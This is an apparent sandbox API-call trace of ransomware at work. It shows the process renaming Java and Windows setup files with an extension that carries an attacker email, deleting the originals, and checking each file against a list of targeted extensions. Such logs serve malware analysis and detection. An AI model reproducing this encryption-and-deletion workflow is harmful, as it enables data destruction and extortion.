[0079.750] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0079.750] lstrlenW (lpString=".dbf") returned 4 [0079.750] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0079.750] lstrlenW (lpString=".1cd") returned 4 [0079.750] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0079.750] lstrlenW (lpString=".jpg") returned 4 [0079.750] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.751] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.751] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.751] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.752] GetLastError () returned 0x0 [0079.752] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x17e40, lpOverlapped=0x0) returned 1 [0080.281] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x17e50, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x17e50, lpOverlapped=0x0) returned 1 [0080.284] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.284] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0080.284] SetEndOfFile (hFile=0x310) returned 1 [0080.284] CloseHandle (hObject=0x310) returned 1 [0080.284] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.284] SetEndOfFile (hFile=0x2e8) returned 1 [0080.286] CloseHandle (hObject=0x2e8) returned 1 [0080.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0080.286] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 1 [0080.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0080.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0080.287] lstrlenW (lpString=".doc") returned 4 [0080.287] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0080.287] lstrlenW (lpString=".docx") returned 5 [0080.287] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1 [0080.287] lstrlenW (lpString=".pdf") returned 4 [0080.287] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0080.288] lstrlenW (lpString=".xls") returned 4 [0080.288] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0080.288] lstrlenW (lpString=".xlsx") returned 5 [0080.288] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1 [0080.288] lstrlenW (lpString=".ppt") returned 4 [0080.288] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0080.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0080.288] lstrlenW (lpString=".zip") returned 4 [0080.288] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0080.288] lstrlenW (lpString=".rar") returned 4 [0080.288] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0080.288] lstrlenW (lpString=".bz2") returned 4 [0080.288] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0080.288] lstrlenW (lpString=".7z") returned 3 [0080.288] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0080.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0080.288] lstrlenW (lpString=".dbf") returned 4 [0080.288] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0080.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0080.288] lstrlenW (lpString=".1cd") returned 4 [0080.288] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0080.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0080.288] lstrlenW (lpString=".jpg") returned 4 [0080.288] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0080.290] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.290] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.290] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0080.290] GetLastError () returned 0x0 [0080.291] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x4040, lpOverlapped=0x0) returned 1 [0080.293] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4050, lpOverlapped=0x0) returned 1 [0080.294] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.294] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf0, lpOverlapped=0x0) returned 1 [0080.294] SetEndOfFile (hFile=0x310) returned 1 [0080.294] CloseHandle (hObject=0x310) returned 1 [0080.295] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.295] SetEndOfFile (hFile=0x2e8) returned 1 [0080.296] CloseHandle (hObject=0x2e8) returned 1 [0080.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0080.296] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 1 [0080.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0080.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0080.297] lstrlenW (lpString=".doc") returned 4 [0080.297] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0080.297] lstrlenW (lpString=".docx") returned 5 [0080.297] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0080.297] lstrlenW (lpString=".pdf") returned 4 [0080.297] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0080.297] lstrlenW (lpString=".xls") returned 4 [0080.297] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0080.297] lstrlenW (lpString=".xlsx") returned 5 [0080.297] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0080.297] lstrlenW (lpString=".ppt") returned 4 [0080.297] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0080.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0080.297] lstrlenW (lpString=".zip") returned 4 [0080.297] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0080.297] lstrlenW (lpString=".rar") returned 4 [0080.297] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0080.298] lstrlenW (lpString=".bz2") returned 4 [0080.298] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0080.298] lstrlenW (lpString=".7z") returned 3 [0080.298] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0080.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0080.298] lstrlenW (lpString=".dbf") returned 4 [0080.298] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0080.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0080.298] lstrlenW (lpString=".1cd") returned 4 [0080.298] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0080.298] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0080.298] lstrlenW (lpString=".jpg") returned 4 [0080.298] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0080.299] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.299] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.299] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0080.299] GetLastError () returned 0x0 [0080.300] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x32040, lpOverlapped=0x0) returned 1 [0080.306] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x32050, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x32050, lpOverlapped=0x0) returned 1 [0080.311] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.311] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf4, lpOverlapped=0x0) returned 1 [0080.311] SetEndOfFile (hFile=0x310) returned 1 [0080.311] CloseHandle (hObject=0x310) returned 1 [0080.311] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.312] SetEndOfFile (hFile=0x2e8) returned 1 [0080.314] CloseHandle (hObject=0x2e8) returned 1 [0080.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0080.314] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 1 [0080.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0080.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0080.315] lstrlenW (lpString=".doc") returned 4 [0080.315] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0080.315] lstrlenW (lpString=".docx") returned 5 [0080.315] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0080.315] lstrlenW (lpString=".pdf") returned 4 [0080.315] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0080.315] lstrlenW (lpString=".xls") returned 4 [0080.315] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0080.316] lstrlenW (lpString=".xlsx") returned 5 [0080.316] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0080.316] lstrlenW (lpString=".ppt") returned 4 [0080.316] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0080.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0080.316] lstrlenW (lpString=".zip") returned 4 [0080.316] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0080.316] lstrlenW (lpString=".rar") returned 4 [0080.316] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0080.316] lstrlenW (lpString=".bz2") returned 4 [0080.316] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0080.316] lstrlenW (lpString=".7z") returned 3 [0080.316] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0080.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0080.316] lstrlenW (lpString=".dbf") returned 4 [0080.316] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0080.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0080.316] lstrlenW (lpString=".1cd") returned 4 [0080.316] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0080.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0080.316] lstrlenW (lpString=".jpg") returned 4 [0080.316] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0080.317] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.317] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.317] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0080.318] GetLastError () returned 0x0 [0080.318] ReadFile (hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0) Thread: id = 14 os_tid = 0xcf4 [0050.043] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x76ed80 [0050.044] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x77ed88 [0050.044] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce00 [0050.044] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x72d280 [0050.044] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fced8 [0050.044] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x3afc020 [0050.047] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce60 [0050.047] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fce60, Size=0x20) returned 0x6deae8 [0050.047] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fd028 [0050.047] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fd028, Size=0x20) returned 0x6deb10 [0050.047] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0050.047] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0050.047] Wow64DisableWow64FsRedirection (in: OldValue=0x300ff50 | out: OldValue=0x300ff50*=0x0) returned 1 [0050.047] lstrlenW (lpString="kernel32.dll") returned 12 [0050.047] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deae8 | out: hHeap=0x6a0000) returned 1 [0050.047] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0050.047] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deb10 | out: hHeap=0x6a0000) returned 1 [0050.048] Sleep (dwMilliseconds=0x64) [0050.511] lstrcmpiW (lpString1=".cmd", lpString2=".save") returned -1 [0050.511] lstrlenW (lpString="preoobe.cmd") returned 11 [0050.511] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0050.512] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=74) returned 1 [0050.512] CloseHandle (hObject=0x2fc) returned 1 [0050.512] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0050.512] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.512] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0050.512] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.512] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.512] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0050.513] GetLastError () returned 0x0 [0050.513] ReadFile (in: hFile=0x2fc, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x4a, lpOverlapped=0x0) returned 1 [0050.527] WriteFile (in: hFile=0x300, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x50, lpOverlapped=0x0) returned 1 [0050.532] ReadFile (in: hFile=0x2fc, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.532] WriteFile (in: hFile=0x300, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xea, lpOverlapped=0x0) returned 1 [0050.532] SetEndOfFile (hFile=0x300) returned 1 [0050.532] CloseHandle (hObject=0x300) returned 1 [0050.533] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.533] SetEndOfFile (hFile=0x2fc) returned 1 [0050.534] CloseHandle (hObject=0x2fc) returned 1 [0050.534] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0050.534] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0050.534] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0050.534] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0050.534] lstrlenW (lpString=".doc") returned 4 [0050.535] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0050.535] lstrlenW (lpString=".docx") returned 5 [0050.535] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0050.535] lstrlenW (lpString=".pdf") returned 4 [0050.535] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0050.535] lstrlenW (lpString=".xls") returned 4 [0050.535] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0050.535] lstrlenW (lpString=".xlsx") returned 5 [0050.535] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0050.535] lstrlenW (lpString=".ppt") returned 4 [0050.535] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0050.535] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0050.535] lstrlenW (lpString=".zip") returned 4 [0050.535] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0050.535] lstrlenW (lpString=".rar") returned 4 [0050.535] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0050.535] lstrlenW (lpString=".bz2") returned 4 [0050.535] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0050.535] lstrlenW (lpString=".7z") returned 3 [0050.535] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0050.535] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0050.535] lstrlenW (lpString=".dbf") returned 4 [0050.535] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0050.535] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0050.535] lstrlenW (lpString=".1cd") returned 4 [0050.535] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0050.535] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0050.535] lstrlenW (lpString=".jpg") returned 4 [0050.535] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0050.535] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0050.535] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0050.535] lstrlenW (lpString=".doc") returned 4 [0050.536] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0050.536] lstrlenW (lpString=".docx") returned 5 [0050.536] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0050.536] lstrlenW (lpString=".pdf") returned 4 [0050.536] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0050.536] lstrlenW (lpString=".xls") returned 4 [0050.536] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0050.536] lstrlenW (lpString=".xlsx") returned 5 [0050.536] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0050.536] lstrlenW (lpString=".ppt") returned 4 [0050.536] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0050.536] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0050.536] lstrlenW (lpString=".zip") returned 4 [0050.536] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0050.536] lstrlenW (lpString=".rar") returned 4 [0050.536] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0050.536] lstrlenW (lpString=".bz2") returned 4 [0050.536] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0050.536] lstrlenW (lpString=".7z") returned 3 [0050.536] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0050.536] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0050.536] lstrlenW (lpString=".dbf") returned 4 [0050.536] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0050.536] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0050.536] lstrlenW (lpString=".1cd") returned 4 [0050.536] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0050.536] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0050.536] lstrlenW (lpString=".jpg") returned 4 [0050.536] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0050.536] lstrcmpiW (lpString1=".cmd", lpString2=".save") returned -1 [0050.537] lstrlenW (lpString="SetupComplete.cmd") returned 17 [0050.537] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0050.537] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=307) returned 1 [0050.537] CloseHandle (hObject=0x2fc) returned 1 [0050.537] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0050.537] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.538] CreateFileW 